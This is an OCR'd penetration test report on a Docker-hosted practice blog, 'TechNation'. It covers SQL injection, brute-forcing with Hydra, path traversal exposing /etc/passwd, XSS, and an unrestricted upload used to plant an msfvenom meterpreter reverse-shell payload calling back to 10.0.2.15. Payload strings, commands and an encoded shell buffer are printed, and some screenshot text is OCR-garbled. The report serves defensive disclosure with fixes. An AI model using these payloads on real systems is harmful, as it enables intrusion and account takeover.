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Mission

Rentise Cyber Security was contracted by TechNation to conduct a penetration test in order
to determine its exposure to a targeted attack. All activities were conducted in a manner
that simulated a hacker engaged in a targeted attack against TechNation Blog’s website with
the goals of:

= Perform a complete penetration test

= Present all vulnerabilities that were found

=  Show methods that were used including screenshots of processes
= Prepare a conclusion and suggested fixes to be performed.

Web Application (TechNation Blog) prepared for penetration test is running in container by
“Docker” —the only place where pentesting is to be occurred. JS codes and external
webpages that are not part of the domain were not tested.

The attacks were conducted with the level of access that a general Internet user would have,
and all of the tools and programs are free to use, so no financial barrier would occur to
attack the service for potential aggressor.
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Executive Summary

During the test, we were able to log in to the regular user’s account, and then use the
misconfiguration in data base to reset all users’ passwords, including admin password. After
that, we managed to access files stored on the server, such as /etc/passwd (file with every
registered user that has access to a system).

We have also found XSS vulnerabilities, as well as the possibility of manipulating purchase
values. Additionally, there are comments in the website source code that facilitate an attack.
A very significant threat is the ability to send files without checking their type or scanning
them. A series of tests have shown that it is possible to upload various types of trojan horses
and other types of malware.

Conclusions

From our professional perspective, the overall security level of the website is Low.
Main exploitation vectors and vulnerabilities that were found are as following:

= Critical information disclosure
o List of passwords available for all
(robots.txt) (Critical)
o Logins and passwords sending
via GET method (Critical)
= SQL Injection (Critical)
= Path Traversal (High)
= Unrestricted file upload / Remote File
Inclusion (High)
= XSS: Cross-site scripting (High)
= No password policy / easy password
policy (Medium)
= No X-frame policy (Medium)

= Other information disclosure 3
o Comments in website’s source
code (Low)
o Personal information available
after |0gging in (bil’th date, m Critical High Medium = Low

password) (Low)

According to the severity of Likelihood Factors and Impact Factors, the Overall Risk Severity
according to the OWASP Risk Calculator is: Medium, according to our knowledge of
TechNation situation; https://owasp-risk-rating.com/?v=6399866074294434
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https://owasp-risk-rating.com/?v=6399866074294434

Key Findings

During the test, we identified several vulnerabilities that could potentially lead to
unauthorized access, data breaches, and other security incidents. This report presents a
summary of the vulnerabilities we found and recommendations for mitigating the risks.

Vulnerabilities:

Critical

Severity: High Probability: High Fix effort: Low

Critical information disclosure: List of passwords not secured and stored on server in
/robots.txt file

Logins and passwords send via GET method: These vulnerabilities allow an attacker
to access sensitive information, such as user credentials, by checking browser’s
history, or performing MITM (man-in-the-middle) attack.

SQL Injection: This vulnerability allows an attacker to execute arbitrary SQL code on
the web server and gain access to sensitive data. In particular, an attacker could reset
passwords for all users, including administrator, by entering specific characters in the
change-password form.

Severity: High Probability: Medium Fix effort: Low

XSS: Cross-site scripting: This vulnerability allows an attacker to inject malicious code
into a web page and execute it in the context of a victim's browser. This could result
in unauthorized access to user data and compromise user accounts. This vulnerability
was found on the "deals" page.

Unrestricted file upload / Remote File Inclusion: This vulnerability allows an attacker
to upload any file to the server, including viruses, by changing the file extension to
".png". This could result in unauthorized access to sensitive data and compromised
user accounts.

Path Traversal: This vulnerability allows an attacker to view the contents of the server
by modifying the URL after logging in as admin. This could result in unauthorized
access to sensitive data.

Medium Severity: Medium Probability: Medium Fix effort: Low

7. No password policy / easy password policy: This vulnerability allows users to create

Low

weak passwords, making it easier for an attacker to gain unauthorized access to user
accounts.

No X-frame policy: This vulnerability allows an attacker to embed the TechNation
website within another website, enabling phishing attacks and other malicious
activities.

Severity: Low Probability: Low Fix effort: Low

9. Other information disclosure: code as comments in website’s source code
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10. Personal information available after logging in (birth date, password in plain text):
Although this information is not critical, it could still be used for malicious purposes.

Detailed Findings
1. Critical information disclosure: List of passwords available for all

First critical finding that lead to taking full access of admin’s account, was visiting the
/robots.txt page, that can be accessed via the web browser.

Robots.txt is a text file used by websites to communicate with web crawlers and other
automated agents. It specifies which parts of the website should be crawled and indexed by
search engines, and which parts should be excluded.

Finding the existence of /decoda9013smith21985.txt webpage was the first step to perform
attack. We recommend hiding this file.

C @ O & 10.0.2.10

iLinux § KaliTools @ KaliDocs M Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

In fact, first idea was to use this list to log in to admin page:
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Enter Your Email Address and Password
in Order To Get to The Admin Panel

Due to the fact we didn’t know the users’ logins, we’ve got huge hint from website: “enter
your email address”, so we prepared a list of possible e-mails, based on authors of articles
on main page: Tomas Ramus, Anna Warshav, Ronald Copargan, Arthur Bisclich, and web
developer: Daniel Gish.

Although service didn’t answer if the user exist — which is fine, and should stays like this —
after creating about 32 possible emails, and having 652 possible passwords, we begin to
brute force login page

File Actions Edit View Help inal_pt/reco/passwords.txt - Mousepad

final_pt/reco

-] mC x

1 admingtechnation.com
2 administratorgtechnation.com
1 kali kali 3 thomasranusgtechnation .com
4 annawarshavgtechnation.com
5 ronaldcopargangtechnation.con
6 arthurbisclichgtechnation.com
7 danielgishatechnation. con
8 thomasrgtechnation.com
9 annaw@technation.com
~[~/final_pt/reco 10 ronaldcatechnation. com 10 v3k; Esqrcvx[ (4Hy
mails_no_dot. txt 11 arthurbatechnation. con 11 UBj !Ka3zV(atTx6Q
12 danielgatechnation.com 12 7]Vy8$_s7e<hE[MG
13 tramus@technation.com 13 D9$GsdH[nvB+_p8C
14 awarshavatechnation. com 14 G'd}7BDSRs(Z-Eh6
15 rcopargangtechnation.com 15 u7{x" sxkY&IT $8y
16 abisclichgtechnation. com 16 aedv, dx4&)Pjhx’ K
17 dgishatechnation.com 17 wdss[ 6hwoD-kyX/?
18 trgtechnation.com
19 awgtechnation.com
20 rcgtechnation.com
21 abgtechnation.com
22 dgatechnation.com
23 thomasatechnation .com
24 annagtechnation.com
25 ronaldatechnation.com
26 arthurgtechnation.com
27 danielgtechnation.com
28 ramusgtechnation.com
29 warshavgtechnation.com
30 copargangtechnation. com
31 bisclichgtechnation.com
32 gi shatechnation. com
33

~/Final_pt/reco

~[~/final_pt/reco
mails_no_dot . txt

37 AFXCBMTp2Q4hGuk?
38 h#L"Y m3EA:=>Rg+
39 JT
0 Sv

We decided to use hydra software; The program was able to find valid credentials in few
minutes.

~/final_pt/reco
L mails_no_dot.txt -P passwords.txt 10

RNING]
ERROR] 1 tar
ERROR] ta

Hydra (https
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After finding credentials, next step was logging in, which brings us to the next critical
vulnerability.

We also recommend including ReCAPTCHA or set the server to block unsuccessful logins
after few tries, to prevent brute forcing login.

2. Critical information disclosure: Logins and passwords send via GET method

After logging in we discovered, that sensitive information are send via GET method. Sending
login credentials via GET method is a vulnerability because sensitive information are sent in
plain text as part of the URL. This means that they can be intercepted and viewed by
attackers who have access to network traffic or browser history, compromising the security
of user accounts. It is recommended to use HTTPS and POST method for sending login
credentials to avoid this vulnerability.

Q 10.0.210

# KaliDocs N KaliForums X Kali NetHunter = Exploit-DB  Google Hacking DB /| OffSec

TechNation

ATechnology blog about everything that is new

TechNation News Reviews Deals Admin Panel

Welcome Arthur

irst Name

Arthur

ast Name

Bisclich

We were also able to change password to some easy one (another vulnerability that will be
detailed further).

3. SQL Injection

Through the use of SQL Injection in the password change form, we were able to change the
passwords for all users, including administrator, demonstrating a serious vulnerability to the
site's functionality. This vulnerability was discovered using the Burp Suite tool and a
customized dictionary containing various SQLi payloads. Without proper mitigation
measures, this vulnerability could have resulted in a significant compromise to the security
of user accounts and the overall operation of the website.
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After entering following characters in “old password”:

Iorll=l

we were able to set new passwords for all users.

This or similar input (like: xyz'or'1'="1) alters the query's logic. In SQL databases, 'or' is a
logical operator that evaluates to true if either of its operands are true. When “...or 1=1" is

injected into the query, the result is always true (1 always equals 1), effectively bypassing

the original logic of the query. This is a common technique used in SQL injection attacks to
exploit vulnerabilities in web applications that allow unsanitized user input to be passed

directly to SQL queries.

Preparing payload in Burp Suite:

Burp  Project Intruder Repeater Window  Help

Dashboard Target Intruder Repeater Sequencer Decoder
1 = 2% +

Positions Payloads Resource Pool Opticns

(%) Payload Sets

Comparer

Logger Extensions

You can define one or more payload sets. The number of payload sets depends on the attacktype defined in the Positions tab. Various payload types are available for each payload set, and each payload type can be customizedin different ways.

Payloadset: | 1 ~ Payload count: 125

Payload type: | Simple list ~ Request count: 125
(3) Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste
Load *
Remove
. »
Clear %20--
Deduplicate | agap;
=920’
=%20;
Add al a) )

() Payload Pracessing

You can define rules to perform various processing tasks on each payload before it is used

Add Enabled Rule
Edit

Remove
up

Down

v e n @@=

LookIn: Injections.
!

Alls

bad| v

saL share

Trav wiuzz

HML waordlist

XS5, Injections
File Name: SOL.bdt
Files of Type: | Allfiles

[ open

{5} Settings

Q

Cancel

Effect after finding first working input (payload):

4 Burp Suite Community Edition v2022.12.5 - Temporary Project

Burp Project Intruder Repeater Window Help
Dashboard Target Intruder Repeater Sequencer Decoder
3 x +
[_send )
Request
Raw Hex B n =

1 POST /passchangedocument php HTTP/1 1
2 Host: 10.0.2.19
3 User-Agent: Mozilla/5. @ (X11;
Firefox/l02.9
Accept
text/html,application/xhtml+xml,application/xml;g=0.9, image/avif,image/
webp, /% q=0.8
5 Accept-Language: en-US,en;g=0.5
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/x-wwwi-form-urlencoded

Content-Length: 31
9 Origin: http://10.90.2.19
0 Connection: close
1 Referer

http://10.@.2.10/Admin. php?Email=arthurb®%4@technation. com&Password=easy
2 Upgrade-Insecure-Requests: 1

Linux xB6_64; rv:102 @) Gecko/20188101

=

4 old="or''='&new=easykagain=easy

Comparer

Logger Extensions Learn

Response

n

Pretty  Raw  Hex  Render

HTTP/1.1 288 OK

2 Date: Tue, 28 Feb 2023 22:18:49 GMT

3 Server: Apache/2 4 41 (Ubuntu)

Vary: Accept-Encoding

5 Content-Length: 134

6 Connection: close

7 Content-Type: text/html; charset=UTF-8

S

<html>
18 <head>
11 Record updated successfully
<fhead~
12 <body>
13 <script>
14 window.location. replace("index.php");
15 </script>
16 </body>
17 </html>
1

Target: http:/f10.0.210

Inspector

Request Attributes

Request Query Parameters

Request Body Parameters

Request Cookies

Request Headers

Response Headers

{6} Settings

Q

wreh (3)

sl = - ® x
2 ~

0 v

3 v

0 v

n ~

6 v



Input validation and sanitization should be implemented to ensure that user input is
properly formatted and does not contain any malicious code.

After this, all users’ accounts were compromised, we were able to change passwords for all
users, therefore we could log in to few accounts, including admin:

~ffinal_pt/reco

mails_ok.txt easy 10.0.2.10 http-get-form Admi :Email= 5P3 rd="PASS™ :matc
Hydra v9.4 (c) 2822 by van Hauser/THC & David Maciejak - Please do 101 use in m111ta1; or secret service organizations, or for i

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-02-27 ©5:41:59
[WARNING] Restorefile (you have 1@ seconds to abort... (use option -I to skip waiting)) from a previous session found, to preven
[DATA] max 7 tasks per 1 server, overall 7 tasks, 7 login tries (1:7/p:1), ~1 try per task
DATA] attacking http-get-form: //1@ 0.2.10:80/Admin.php:Email="USER"&Password="PASS" :match
1 host: login: password:
] host: login: password:
1 host: login: password:
] host: login: password:
1o0f 1 target successfully completed, & valid passwords found
Hydra (https://github.com/vanhauser- tﬂcftﬂc—ﬂydraJ finished at 2023-02-27 85:42:11

TechiNation
Q & 100270

Kali Linux g Kali Tools # KaliDocs M Kali Forums ¥ Kali NetHunter = Exploit-DB = Google Hacking DB 11 OffSec

TechNation Deals  Admin Panel

First Name

Ronald

Last Name

Copargan

Email

ronaldc@technation.com

Password

easy

Birthday

1061989

Q & 10.0210

KaliLinux @ KaliTools ® KaliDocs & Kali Forums e Kali NetHunter xploit-DB = Google Hacking DB 1| OffSec

TechNation News Reviews Deals  Admin Panel

First Name

Anna

Last Name

Warshav

Email

annaw@technation.com

Password

easy

Birthday

6081999
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TechNation

& Kali NetHunter Exploit-DB

TechNation

A Technology blog about everything that is new

News Reviews Deals Admin Panel

Welcome Daniel

Welcome to the Admin Panel! Here you can Write Posts, and view your own profile! Change password to whatever you'd like! Are you the admin of the website? if

you could also load

This function is still in development, It will give admin the possibilty and replay for support questions.

To prevent SQL Injection attacks, the website should use parameterized queries instead of
building SQL statements using user input. Input validation and sanitization should also be
implemented to ensure that user input is properly formatted and does not contain any
malicious code, characters, etc.

4. Path Traversal (also known as Directory Traversal) (High)

Path Traversal is a type of web application attack where an attacker exploits insufficient
input validation or sanitization to manipulate file paths and access files or directories outside
the intended scope. By inserting "../" sequences or other special characters into a URL, an
attacker can traverse the directory structure and access sensitive files, including
configuration files, source code, and user data. This can result in data leakage, unauthorized
access, and other serious security risks.

After logging in as admin, we were able to change URL of the website, that lead to get access
to server’s files.

Due to limited testing time, we were unable to gain access to the root folder or successfully

launch a reverse shell or web shell. However, this does not necessarily mean that these
exploits were not possible when given more time and resources.

Rentise for TechNation — penetration test report 35/2023



TechNation X TechNation X | http://10.0210/Admin.php * & NewTab
& c @ O A 100210

KaliLinux § KaliTools @ Kali Docs M Kali Forums ¥ Kali NetHunter Exploit-DB Google Hacking DB OffSec

TechNation News Reviews Deals AdminPanel

Welcome Daniel

Welcome to the Admin Panel! Here you can Write Posts, and view your own profile! Change password to whatever you'd like! Are you the admin of the
website? if you are you could also load a new webpage!

root:x:0:0:root:/root:/bin/bash daemon:x: 1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync 0:games:/usr/games:/usr/sbi 8in man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:1p:/var/spool
/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:fusr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp
Jusr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:
/Jusr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:3%:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-
Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-
network:x: 100:102:systemd Network Management,,../run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,../run/systemd:/usr/sbin
/nologin systemd-timesync:x:102:104:systemd Time Synchronization,../run/systemd:/usr/sbin/nologin messagebus:x:103: 106::/nonexistent:/usr/sbin/nologin
syslogx:104:110::/home/syslog:/usr/sbin/nologin_apt:x:105:65534:/nonexistent:/usr/sbin/nologin tss:x:106:111:TPM software stack,,,-/var/lib/tpm:
/bin/false uuidd:x: 107:114::/run/uuidd:/usr/sbin/nologin tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin avahi-autoipd:x:109:116:Avahi autoip
daemon,,:/var/lib/avahi-autoipd:/usr/sbin/nologin usbmux:x:110:46:usbmux daemon,,../var/lib/usbmux:/usr/sbin/nologin rtkit:x:111:117:RealtimeKit,:/proc:
Jusr/sbin/nologin dnsmasq:x:112:65534.dnsmasq,.../var/lib/misc:/usr/sbin/nologin cups-pk-helper:x:113:120:user for cups-pk-helper service,,:;/home/cups-pk-
helper:/usr/sbin/nologin speech-dispatcher:x:114:29:Speech Dispatcher., :/run/speech-dispatcher:/bin/false avahi:x:115:121:Avahi mDNS daemon,,.:/var
/run/avahi-daemon:/usr/shin/nologin kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin saned:x:117:123::/var/lib/saned:/usr/sbin
/nologin nm-openvpn:x:118:124:NetworkManager OpenVPN,.../var/lib/openvpn/chroot:/usr/sbin/nologin hplip:x:119:7:HPLIP system user,,../run/hplip:
/bin/false whoopsie:x:120:125::/nonexistent:/bin/false colord:x:121:126:colord colour management daemol ar/lib/colord:/usr/sbin/nologin
geoclue:x:122:127::/var/lib/geoclue:/usr/sbin/nologin pulse:x:123:128:PulseAudio daemen,,;/var/run/pulse:/usr/sbin/nologin gnome-initial-
setup:x:124:65534::/run/gnome-initial-setup/:/bin/false gdm:x:125:130:Gnome Display Manager:/var/lib/gdm3:/bin/false spears:x:1000:1000:Spears,,.:/home
/spears:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin vboxadd:x:$98:1::/var/run/vboxadd:/bin/false
mysql:x:126:133:MySQL Server,,.://nonexistent:/bin/false

TechNation X DOM Source of Selection X

G cC @ O A 10.0.210
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TechNation

A Technology blog about everything that is new

TechNation News Reviews Deals Admin Panel

Welcome Dan

Welcome to the Admin Panel! Here you can Write Posts, and view your own profile! Change password to whatever you'd like! Are you the admin of the website? if
you are you could also load a new webpage!

# This file is managed by man:systemd-resclved(8). Do not edit. # # This is a dynamic resolv.conf file for connecting local clients to the # internal DNS stub resolver
of systemd-resolved. This file lists all # configured search domains. # # Run "resolvectl status” to see details about the uplink DNS servers # currently in use. # #
Third party programs must not access this file directly, but only through the # symlink at /etc/resolv.conf. To manage man:resolv.conf(5) in a different way, # replace
this symlink by a static file or a different symlink. # # See man:systemd-resolved.service(8) for details about the supported modes of # operation for /etc/resolv.conf.
nameserver 127.0.0.53 options edns0 trust-ad

To prevent Path Traversal attacks, it is important to implement proper input validation and
sanitization to prevent attackers from manipulating file paths. File access controls should be
enforced to ensure that only authorized users can access sensitive files, and the use of
absolute file paths instead of relative paths can further mitigate the risk of path traversal. It
is also recommended to limit the permissions of the web server and to perform regular
security testing to identify and remediate any vulnerabilities that could be exploited in path
traversal attack
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5. Unrestricted file upload / Remote File Inclusion (High)

Next issue is known as unrestricted file upload, that was found on /support.php page.
Although we’ve tested that files that are not images do not pass, it was no problem to send
various type of files, after just changing

Simply changing the file extension to ".png" was sufficient to trick the website into accepting
and storing potentially malicious files on server. This is a highly dangerous vulnerability that
could enable attackers to send TechNation a tampered virus, Trojan horse, or other
malware, under the guise of an innocuous problem report and screenshot.

What is very dangerous, the uploaded file is saved in the same folder as file text.txt, that is
stored on server and accessible after logging to admin, so attacker has easy access to
uploaded file:

TechNation News Reviews Deals Admin Panel

Dont Worry! We Are Here To Help!

What Kind C u Have?

Payment Failure v

Ad
Browse..

Thank you! our Team wi ct you as soon as they can!

TechNation

g that is new

ATechnology blog about &

TechNation News Reviews Deals AdminPanel

Welcome Daniel
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Also there is no scanner that will check if the file is a malware:

python/meterpreter/reverse_tcp lhost=10.0.2.15 lport=443 Dy reverse_shell.py.jpg
[-]1 No platform was selected, choosing Msf ::Module::Platform:: Python from the payload
[-] No arch selected, selecting arch: python from the payload
No encoder specified, outputting raw payload
Payload size: 428 bytes
Final size of py file: 2119 bytes

Dont Worry! We Are Here To Help!

Email Address

mail.com

What Kind Of Problem You Have?

Write Your Problem

| have problem with access to one of the article, please check the attached screenshot

Add Screenshot

reverse_shell.py.jpg

Submit

we also have information if the file was uploaded:

Thank you! our Team will contact you as soon as they can!
Success

« C @ O @ 10.02.10

KaliLinux § KaliTools @ KaliDocs M Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

TechNation News Reviews. Deals Admin Panel

Welcome Daniel

Welcome to the Admin Panel! Here you can Write Posts, and view your own profile! Change password to whatever you'd like! Are you the admin of the website? if

you are you could also load a new webpage!

buf = b™ buf += b"\x65\x78\x65\x63\x 28\x 5 x5 \x6P\x6d\x70\x6Fx72" buf += b"™\x74\x5AAXSAX28\x27\x7a\x6c\x6 P\x62\x27\x29\x2€" buf += b"\x64\x65\%x63
Ax6AX6A\X70NK7 2\x65\%7 3\x73\x28\x 5F" buf += b"\x5A\x6P\x6d\x7 0\x6AX72\x 74 \x 5P 5AAx28\x27\x6 2" buf += b"\x61\x73\x65\x36\X3H\ X 27\x2P\x 2e\x62
X36\X34\X64" buf += b"\X65\X63\X6NXEA\XE5 \X28\X5 M5 T\X6 P\ X6d\X70\X6F" buf += b"\X72\X7A\X5TXST\X28\X27\X63\x6MNX64\X65\x63\X7 3" buf += b"\x27
\X29\x2€\x67\x65\X74\x65\x6e\x6 3\x6Mx64\x65" buf += b"\X72\X28\x27\x75\x74\x66\x2d\x38\x27\x29\x28\x27" buf += b"\x65\x4e\x6f\x39\x54\x30\x31
A7 8\x44\x41\x51" buf += b"\x50\x54\x6 5\x2Ax4F\X72\x63\x6b\x4 7 \x45\x4\x37" buf += b"\x5a\x76\x65\X77\x57\x45\x48\x45'\x67\x34\x67\x4 9" buf
+= "\ 7 2\x62\x63\x52\x6 1\x5a\x4e\x52\x51\x39\x4d\x6b" buf += b"\x4a\x46\x6d\x74\x6F\x76\x2fAx64\x44\x56\x6d \x38" buf += b"\x7a\x50\x4 1\x2b\x35
W73 32\x4d\x6d\x59\ x4 \x50" buf += b"\x4 7Ax53\x 6 5\x76\x4a\x 7 3x6a\x38\x 32\x35\x7 1\x52" buf += b"\x6a\x30\x4f\x43\x6a\x65\x5 1\x70\x78
\x37\x33\x4b" buf += b"\x50\x4a\x73\x52\x30\x4b\x 7 5\x 50\x65'\x4d\x48'\x47" buf += b"\X3M\x54\x6F\x34\x4e\x36\x42\x64\x7 P\x37\x6 1\x6f" buf += b"\x79
\X66\X48\X72\X55\x4a\X76\x55\x3 1\x32\x46\x52" buf += b \x47\x31\x33\x78\x4P\x3N\K37\X64\X58\X3P\x32\x2b" buf += b"\X37\X42\X3P\X66\X 7 2\x6 P\ 2T
\X76\x57\x50\x45\x4a" buf += b"\x35\x52\x30\x44\x6c\x53\x6b\X 6\ x58\x53\x74\x6 1" buf += b"\X73\x52\x4ckx64\x6d\xbe\x4 1\x70\x7a\x31\x69\x 52" buf
+= b"\X78\7 7\x6a\x44\x68\x4 2\x70\x5 9 \x46\x4d F\x52\x63" buf += b"\x63\x7 3\x74\x6 F\xEbx5 3\x78'\x4 1\x6F\x47\x 7 5\x47" buf += b"\x62\x46\x 2f\x76\x45
X58\x73\x58\x42\x63\x56\x52" buf += b"\x63\x6e\x 46\ 44\ x65\x42\x4 P\x52\x3 T\ x41\x65\x56" buf += b"\x6a\x44\x32\x31\x7a\x30\x6a\x33\x52
\x32\x77\x5a" buf += b"\x2b\x6e\x77\x33\x46\x7 2\x41\x46\x52\x7a\x55\37" buf += b"\x74\x34\x63\x34\x66\x 66\ x4b\x 7 6\x6€\x6c\x6 116 1" buf += b"\x49
\x56\x68\x41\%x30\x66\x4b\x7 P\x30\x4b\x44\x38" buf += b"\x48\x43\x4b\x6b\x52\x4f\x76\x33\X 59\ x74\x7a\x49" buf += b"\x51\x6d\x6AX6AX54\x76\x35
\XAPx45\x74\x6d\x6d" buf += b"\x58\Xx34\x6 2\X2b\x4 1\x4a\X6 A \X6P\X58\X6 P\ 49 \x3d" buf += b"\Xx27\x29\x5b\30\X Sd\X29\X29\x29"
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If there is non-picture extension, website returns kind of information if it was uploaded, or
not. In this case, .php file didn’t go through:

Thank you! our Team will contact you as soon as they can!

Array

But changing extension to .png and uploading the file, gave us some kind of web shell, that
didn’t worked properly, but it shows that webpage is vulnerable to code injection.

& C @ O & 100210

KaliLinux #§ KaliTools # KaliDocs & Kali Forums N Kali NetHunter Exploit-DB Google Hacking DB OffSec

TechNation News Reviews Deals Admin Panel

:: Dosyaya gir ==

dited ByMILITANZ

To prevent unrestricted file uploads, it is important to implement proper input validation
and sanitization to ensure that only authorized file types can be uploaded. The server should
also enforce file size limits and perform virus scans on all uploaded files to detect and
remove any potential malware. The use of secure file storage and access controls can also
help to prevent unauthorized access to uploaded files. Regular security testing and updates
to address any identified vulnerabilities can further help to mitigate the risk of unrestricted
file uploads.

6. XSS: Cross-site scripting (High)

An XSS (Cross-Site Scripting) vulnerability on TechNation's website could enable attackers to
inject malicious scripts or code into web pages viewed by other users. This could allow the
attacker to steal sensitive information, such as login credentials or personal data, or to hijack
user sessions and perform unauthorized actions on behalf of the user. It could also damage
the reputation of TechNation and erode customer trust.

During the attack we were able to manipulate user’s input by changing the purchase value,
and also adding script that checks if webpage is vulnerable.
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KaliLinux g8 Kali Tools @ Ka < s tHunter = Exploit-DB

TechNation News Reviews Deals Admin Panel

Enterprise

Pro Plan

Thank you for desiring to buy the Pro plan!.

Dont Worry! your payment is safe and protected by the n
payment Framework! all you need to doit uyNo

« 5GBin the cloud <
by that you agree to our terms of use and and the offer will be send

toyour credit card application!
Buy Now! Buy Now!

BuyNow!  Close

Request Response
Pratty Raw Hex a in = Pratty Raw Hex Render = In =

POST /Deals.php HTTP/1.1
Host: 19.8.2.19

.
User-Agent: Mozilla/5.@ (X11; Linux xB6_64; rv:1082. @) Gecko/20180181 I h N t
Firefox/182.9@ ec a |On

Accept:
text/html, application/xhtml+xml,application/xml;g=0.9,image/avif, image/ ATer:hnqugy bl g out Evewthingthatisnew.
webp, */*g=0.8

Accept-Language: en-US,en;g=0.5
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded
Content-Length: &7

Origin: http://18.8.2.18

Connection: close

Referer: http://10.8.2.10/Deals.php
Upgrade-Insecure-Requests: 1

4 @ oo s W

w ®

News

T

money=58 <scriptralert("this site is vulnerable to XS5!");</script» .
Reviews

TechNation

Deals

Admin Panel

Well done! You Just Payed 50 Dollars! Thanks a

©]
&
T
N

0 matches

10.0.2.10

Forums &% tHunter = Exploit-DB

©10.0.2.10

this site is vulnerable to X

Also another page was vulnerable to such attack:
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TechNation Burp Suite Community Edition v2022.12.5 - Temporary Project
Burp Project Intruder Repeater Window  Help
&« X @ D A Dashboard Target Pr Intruder Repeater Sequencer Decoder Comparer Logger Extensions Leam.
Intercept  HTTPhistory  WebSocketshistory ~ Options.
KaliLinux #8 KaliTools # KaliDocs N K:
(P Requesttohttp:/i10.0.2.10:80

Forward Drop Intercept is on Action Open Browser Comment this item < | wmien @

TechNation News Reviews Deal
F Raw  Hex & " = inspector W[ I - @& X
L POST /Reviews.php HTTP/1.1
2 Host

Selection 2003  ~

3 User-Agent: Mozillaf5.@ (X11: Linux x86_64; rv:102.8) Gecko/20100101 Firefox/102

4 Accept: text/html,application/xhtml+xnl,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Selectedtext

5 Accept-Language: en-Us,en;g-0.5

6 Accept-Encoding: gazip, deflate

7 Content-Type: application/x-wwu-forn-urlencoded

& Content-Length: 21

9 Origin: http://10.0.2.10

10 Connection: close

11 Referer: http://10.0.2.18/Reviens.php Decodedfrom:  URLenceding v (

12 Upgrade-Insecure-Requests: 1

13 <scriptralert("Reviews are

14 text=xss+testiscore=lkscript>alert("Reviews are also vurnelable to XSS1");</scripts also vurnelable to XS§1");<
iscripts

script>alert("Reviews are
nelable to XSS1"):<

Apply changes

Ranuact Attribirtac k] ~

@10.0.2.10

are also vurnelable to XSS!

To prevent XSS attacks, it is important to properly sanitize all user inputs and outputs on
web pages. This involves validating and filtering all user inputs to remove any potentially
malicious code or scripts. It is also important to implement secure coding practices, such as
using the latest version of web frameworks and libraries, avoiding the use of user-supplied
data in dynamic HTML content, and using HTTP-only cookies (if cookies will be used in final
website) to protect against session hijacking attacks. Additionally, regular security testing
and updates can help to identify and address any new XSS vulnerabilities that may arise.

7. No password policy / easy password acceptance (Medium)

After logging in to vulnerable account (probably user Arthur B. didn’t change his password
from very complicated, that’s why we were able to log in very quickly), we were able to
change password for his account. The webpage allows to set no password at all as a new
password, and also accepts setting extremely easy passwords, containing for example 1
character. This must be changed ASAP.

Kali Linux & & Kali NetHunter = Exploit-DB = Google Hacking DB /1 OffSec

TechNation e als Panel

arthurb@technation.com

Password
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o

@ 10.0.2.10

& Kali NetHunter * Exploit-DB % Google Hacking DB

TechNation

arthurb@technation.com

Password

1

Having no password policy or allowing users to set weak passwords is dangerous because it
makes it easier for attackers to guess or brute-force passwords and gain unauthorized access
to user accounts. System should accept creating only complex passwords with a mix of upper
and lower case letters, numbers, and special characters. Passwords should also be long
enough (at least 8 characters) to make them difficult to crack, and users should be required
to change them regularly to prevent password reuse and exposure in case of a breach.
Additionally, implementing two-factor authentication can provide an extra layer of security
to protect user accounts.

8. No X-frame policy (Medium)

X-Frame-Options is a security header that controls whether a web page can be embedded
within an iframe. When it is not disabled, it can prevent clickjacking attacks, where an
attacker can load a website within an invisible iframe to trick users into clicking on buttons
or links that perform unintended actions. If X-Frame-Options is not set, an attacker can
embed the website within an iframe, potentially leading to session hijacking, phishing, and
other attacks. In our case, attacker is able to create “invisible” webpage that would hijack

login credentials.

Inspector W T - ® X To prevent clickjacking attacks and protect
against X-Frame-Options vulnerabilities, the

R t Attribut w .

caes R X-Frame-Options header can be used to

Request Headers ~ | control whether or not a browser should be

— — = allowed to render a page inside a frame or

Host 10.0.2.10 > iframe. To enable this protection, you can

User-Agent Mozilla/5.0 (X11; Linuxx@6_64; ni10... > set the X-Frame-Options header to one of

Accept text/htmlapplication/xhtml+xmlap... > the fO“OWing values:

Accept-Language en-Us,en;g=0.5 >

Accept-Encoding gzip, deflate » . . .

_ DENY: This option instructs the browser

Cennecticn close > . .

Upgrade. Insecure-Requests ; N to not render the page in a frame or iframe,
regardless of the site attempting to do so.

Respense Headers -~

Name Value = SAMEORIGIN: This option allows the page

Date Tue, 28 Feb202310:50:35 GMT > to be framed by pages from the same

Server Apache/2.4.41 (Ubuntu) » domain Only

Vary Accept-Encoding »

Content-Length 4411 » . . .

Conmecti ALLOW-FROM uri: This option allows the

onnection close >

o T text/htmi; charset=UTF-8 » | page to be framed by the specified origin.
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9. Information disclosure: comments in website’s source code (Low)
The source code of website appears to contain comments which may help an attacker.

B 0¥ T ¢ MET N @K i control

Remove all comments that return information that may help an attacker and fix any
underlying problems they refer to.

10. Personal information available after logging in (birth date, password) (Low)

After logging in, password is visible in plain text, and also birth date is exposed. We are not
sure if birth date is information needed to be presented there, but password should not be
showed, as other observers could see and intercept credentials.

TechNation News Reviews Deals AdminPanel

First Name

Arthur

Last Name

Bisclich

Email

arthurb@technation.com

Password

c4n_yOu_s33_m3?

Birthday

12031991

We advise to hide as many information as possible.
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Conclusion and Improvements

